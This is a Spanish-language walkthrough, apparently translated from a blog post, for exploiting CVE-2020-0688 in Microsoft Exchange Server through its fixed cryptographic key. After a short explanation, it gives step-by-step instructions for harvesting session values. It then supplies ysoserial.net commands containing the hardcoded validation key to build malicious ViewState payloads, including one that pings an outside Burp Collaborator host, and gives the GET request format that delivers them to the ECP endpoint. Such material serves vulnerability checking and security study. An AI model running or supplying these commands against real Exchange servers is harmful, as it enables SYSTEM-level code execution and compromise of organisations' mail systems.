
[CVE-2020-0688] Microsoft Exchange Server: ejecución remota de código (RCE) mediante clave criptográfica fija
[CVE-2020-0688] Ejecución remota de código (RCE) en Microsoft Exchange Server mediante clave criptográfica fija
En lugar de tener claves generadas aleatoriamente por instalación, todas las instalaciones de Microsoft Exchange Server tienen los mismos valores validationKey y decryptionKey en web.config. Por lo tanto, un atacante autenticado puede engañar al servidor para que deserialice datos ViewState maliciosamente manipulados. Con la ayuda de YSoSerial.net, un atacante puede ejecutar código .NET arbitrario en el servidor en el contexto de la aplicación web del Panel de control de Exchange (ECP), que se ejecuta con privilegios de SYSTEM.
Paso 1: Visita uno de los siguientes endpoints y accede a la página de autenticación
Paso 2: Inicia sesión con una credencial (sin importar los privilegios de la cuenta de usuario) y obtén los valores válidos de ASP_NET_SessionId y __VIEWSTATEGENERATOR de la cookie de la respuesta HTTP y del cuerpo de la respuesta HTTP, respectivamente. Por ejemplo
Paso 3: Para generar el payload (para comprobar la vulnerabilidad), utiliza YSoSerial.net
Ten en cuenta que si tienes acceso al servidor Exchange de la víctima, puedes usar el siguiente payload, que crea un archivo de texto en el directorio C:\ con el nombre PoC.txt
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo OOOPS!!! > c:/PoC.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Sin embargo, si no puedes acceder al servidor, lo siguiente podría ser mejor.
PS C:\>ysoserial.net\ysoserial\bin\Release\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping xxxxxxxx..burpcollaborator.net" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
Paso 4: Después del paso 4, tendremos el payload ViewState codificado en URL. Realiza una solicitud GET al siguiente endpoint con el siguiente formato
http(s)://exchangeserver/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=<ViewState_Payload>
La publicación original del blog está disponible aquí